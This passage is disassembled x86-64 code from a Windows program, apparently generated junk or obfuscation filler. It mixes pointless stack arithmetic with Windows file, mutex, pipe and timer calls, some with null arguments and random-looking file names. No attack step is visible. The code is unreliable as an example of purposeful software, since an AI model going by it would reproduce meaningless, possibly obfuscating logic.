mov qword [rsp + 0x8078], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov r9d, 0x19c2
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x464c], eax
mov rax, qword [0x14022b830]
mov qword [rsp + 0x9b28], rax
movsx eax, word [rsp + 0x17d8]
movsx ecx, word [rsp + 0x10c0]
sub eax, ecx
mov word [rsp + 0x1c9c], ax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x343], al
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0x9b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8488], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4710], eax
lea rax, [rsp + 0x4674]
mov qword [rsp + 0x9b38], rax
movzx eax, byte [rsp + 0x345]
movzx ecx, byte [rsp + 0xa9]
shl eax, cl
mov rcx, qword [rsp + 0x9808]
mov byte [rcx], al
lea rcx, [rsp + 0x9b40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [rsp + 0x17d8]
movsx ecx, word [rsp + 0x1c84]
xor eax, ecx
mov word [0x140229f3c], ax
lea rax, [0x14022b850]
mov qword [rsp + 0x9b48], rax
movzx eax, word [rsp + 0x1ca4]
movzx ecx, word [rsp + 0x1ca8]
or eax, ecx
mov rcx, qword [rsp + 0x99f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
lea rdx, [rsp + 0x46ec]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.CKvHZMXkgKm0zM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9b50], rax
mov eax, dword [rsp + 0x4374]
mov dword [rsp + 0x4718], eax
movsx eax, byte [rsp + 0x186]
movsx ecx, byte [rsp + 0x343]
add eax, ecx
mov byte [rsp + 0x129], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov qword [rsp + 0x9b58], rax
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17d8], ax
movzx eax, word [rsp + 0x1cac]
movzx ecx, word [rsp + 0x1c8c]
add eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
lea rax, [rsp + 0x9a20]
mov qword [0x14022b868], rax
mov rcx, qword [rsp + 0x9860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [0x14022b860]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1660], ax
mov eax, 0x38
imul rax, rax, 2
lea rcx, [rsp + 0x1e9d0]
add rcx, rax
mov rax, rcx
add rax, 8
lea rcx, [0x14017d1c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x9660]
mov rcx, qword [rsp + 0x9a20]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
lea rax, [rsp + 0x8180]
mov qword [rsp + 0x9b60], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x51fb
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4708], eax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x343]
and eax, ecx
mov byte [rsp + 0x342], al
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
lea rax, [rsp + 0x4658]
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov dword [rsp + 0x471c], eax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
or eax, ecx
mov word [0x140229f3c], ax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c90]
xor eax, ecx
mov word [rsp + 0x1c88], ax
lea rcx, [rsp + 0x9b70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0x1cb0]
movzx ecx, word [rsp + 0x1cac]
shl eax, cl
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
lea rax, [rsp + 0x1384]
mov qword [rsp + 0x9b78], rax
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9730], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x98b0]
mov rcx, qword [rsp + 0x97b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4278], eax
lea rdx, [rsp + 0x45f8]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46a4], eax
movsx eax, byte [rsp + 0x186]
movsx ecx, byte [rsp + 0x277]
sub eax, ecx
mov byte [rsp + 0x342], al
lea rax, [rsp + 0x1c84]
mov qword [rsp + 0x9b80], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9b88], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x76c3
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46b0], eax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cb0]
sar eax, cl
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
lea rax, [rsp + 0x9660]
mov qword [0x14022b870], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
lea rdx, [rsp + 0x4720]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4644], eax
mov r9d, 0x25bd
xor r8d, r8d
lea rdx, [rsp + 0x9860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46a4], eax
lea rdx, [rsp + 0x45ec]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4724], eax
lea rax, [rsp + 0x9a80]
mov qword [rsp + 0x9b90], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [0x14022b848]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9780], rax
movzx eax, word [rsp + 0x1cac]
mov word [rsp + 0x1cb4], ax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x39f0], eax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov qword [rsp + 0x9b98], rax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
lea rdx, [rsp + 0x4728]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45ec], eax
mov eax, dword [rsp + 0x4278]
mov dword [0x14022b878], eax
mov rax, qword [rsp + 0x9b80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c90]
sub eax, ecx
mov word [rsp + 0xa2c], ax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
or eax, ecx
mov word [rsp + 0x1ca0], ax
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1ca4], ax
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
mov qword [rsp + 0x9ba0], rax
mov rax, qword [rsp + 0x98e8]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4278], eax
movsx eax, byte [0x14022b811]
imul eax, eax, 0x39
mov byte [rsp + 0x2c3], al
mov rax, qword [rsp + 0x8ef8]
movzx ecx, al
mov rax, qword [rsp + 0x6fd8]
shr rax, cl
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
add eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
movzx eax, word [rsp + 0x1cb0]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022b824], ax
lea rax, [rsp + 0x9810]
mov qword [rsp + 0x9ba8], rax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov word [rcx], ax
lea rax, [rsp + 0x46ac]
mov qword [rsp + 0x9bb0], rax
lea rdx, [rsp + 0x45f8]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9bb8], rax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov byte [rcx], al
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov qword [rsp + 0x9bc0], rax
mov eax, dword [rsp + 0x4614]
mov rcx, qword [rsp + 0x97e0]
mov qword [rsp + 0x9bc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9bc8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4718], eax
movsx eax, byte [rsp + 0x277]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
lea rax, [0x140229f38]
mov qword [rsp + 0x9bd0], rax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1660]
add eax, ecx
mov word [0x140229f40], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b28], rax
mov rax, qword [0x14022b858]
mov qword [rsp + 0x9bd8], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b48]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9650]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ef0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x76b1
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e8], eax
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4718]
shr eax, cl
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ba0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1c90]
mov word [0x14022b87c], ax
movzx eax, word [rsp + 0x1ca8]
mov rcx, qword [0x14022b860]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
lea rax, [rsp + 0x45d8]
mov qword [rsp + 0x9be0], rax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
and eax, ecx
mov byte [rsp + 0x19f], al
lea rax, [rsp + 0x9ba0]
mov qword [rsp + 0x9be8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.cmXkR6HKbpQJFqmPS13nrz5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9bf0], rax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9758]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
movzx ecx, word [0x14022b824]
and eax, ecx
mov word [0x140229f40], ax
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
mov qword [rsp + 0x9bf8], rax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov word [rcx], ax
lea rax, [rsp + 0x1c90]
mov qword [rsp + 0x9c00], rax
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14022b830]
shl rax, cl
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
xor eax, ecx
mov byte [rsp + 0x186], al
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0x9c08], rax
mov rax, qword [rsp + 0x98b0]
mov rcx, qword [rsp + 0x97b8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x9c10], rax
lea rax, [rsp + 0x8078]
mov qword [0x14022b880], rax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
movzx ecx, byte [0x140229f1d]
sar eax, cl
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x44e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4658], eax
lea rax, [rsp + 0x1c9c]
mov qword [rsp + 0x9c18], rax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
lea rax, [rsp + 0x2c3]
mov qword [rsp + 0x9c20], rax
mov rax, qword [rsp + 0x96e0]
mov rcx, qword [rsp + 0x97b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9730]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x99e0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c94]
movsx ecx, word [rsp + 0x1c98]
and eax, ecx
mov word [rsp + 0x1400], ax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov rcx, qword [0x14022b860]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022b850], ax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9780]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a80], rax
mov rax, qword [rsp + 0x9a20]
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b28], rax
lea rax, [rsp + 0x1ca0]
mov qword [rsp + 0x9c30], rax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0x9730]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b08], rax
mov rcx, qword [rsp + 0x9708]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x343]
movsx ecx, byte [0x14022b811]
or eax, ecx
mov byte [rsp + 0x186], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.KELEO8ZUSEhXExhJPP0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9c38], rax
lea rax, [rsp + 0x4278]
mov qword [rsp + 0x9c40], rax
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9b68]
mov qword [rsp + 0x9c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c48]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9b68]
mov dword [rcx], eax
movzx eax, byte [0x140229f1d]
mov byte [rsp + 0x347], al
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c98]
xor eax, ecx
mov word [0x140229f38], ax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca8]
add eax, ecx
mov rcx, qword [rsp + 0x99f8]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe1b6
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46dc], eax
lea rdx, [rsp + 0x472c]
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x464c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cb0]
sar eax, cl
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7898], rax
mov rax, qword [rsp + 0x96e0]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9a00]
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
cdq
mov ecx, 0x1c
idiv ecx
mov byte [rsp + 0x129], al
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x4730]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca4]
sub eax, ecx
mov word [rsp + 0x15f8], ax
lea rax, [rsp + 0x82e8]
mov qword [0x14022b888], rax
movzx eax, word [0x14022b824]
movzx ecx, word [rsp + 0x1384]
add eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
lea rax, [rsp + 0x96d0]
mov qword [rsp + 0x9c58], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ba8]
mov qword [rsp + 0x9c60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c60]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9780], rax
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x348], al
mov eax, dword [rsp + 0x471c]
mov ecx, dword [rsp + 0x4718]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
mov r9d, 0x1697
xor r8d, r8d
lea rdx, [rsp + 0x9708]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4720], eax
mov rax, qword [rsp + 0x9be0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x460c]
shl eax, cl
mov rcx, qword [rsp + 0x99c8]
mov dword [rcx], eax
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x9c68], rax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b98]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c20], rax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f44], ax
lea rax, [0x140229f3c]
mov qword [rsp + 0x9c70], rax
movzx eax, word [rsp + 0x1c8c]
movzx ecx, word [rsp + 0x1cb0]
add eax, ecx
mov word [rsp + 0x1c80], ax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x9b48]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0x9750]
movzx eax, byte [rax]
mov byte [rsp + 0x349], al
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a00], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5df6
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4734], eax
lea rdx, [rsp + 0x4724]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45ec], eax
mov eax, dword [0x14022b878]
mov ecx, dword [rsp + 0x4278]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e04], eax
movsx eax, word [rsp + 0x10c0]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1400], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9c10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [0x14022b868]
mov rcx, qword [rsp + 0x96d0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022b838], rax
lea rax, [rsp + 0x9660]
mov qword [rsp + 0x9c78], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9810]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [0x14022b880]
mov rax, qword [rax]
mov qword [rsp + 0x9c80], rax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ca4], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe0bd
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4738], eax
movzx eax, byte [rsp + 0x345]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa9], al
lea rax, [rsp + 0x460c]
mov qword [rsp + 0x9c88], rax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8ef0]
shl rax, cl
mov qword [rsp + 0x8ff8], rax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [0x14022b810]
or eax, ecx
mov byte [rsp + 0x110], al
lea rax, [rsp + 0x4614]
mov qword [0x14022b890], rax
lea rcx, [rsp + 0x9b40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0xa2c]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
mov word [rsp + 0x1cb8], ax
movzx eax, word [rsp + 0x1c8c]
mov rcx, qword [rsp + 0x9c10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0x9780]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c20]
movzx eax, byte [rax]
mov byte [rsp + 0x34a], al
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov rcx, qword [0x14022b890]
mov qword [rsp + 0x9c90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f80], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov word [0x14022b898], ax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1c80]
mov word [rsp + 0x1cbc], ax
mov eax, dword [rsp + 0x4658]
mov ecx, dword [rsp + 0x39f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x46ac], eax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf3], al
mov eax, dword [rsp + 0x4718]
mov ecx, dword [rsp + 0x4710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9650]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9b08], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rax, [rsp + 0x349]
mov qword [rsp + 0x9c98], rax
movsx eax, word [0x14022b820]
mov rcx, qword [rsp + 0x9890]
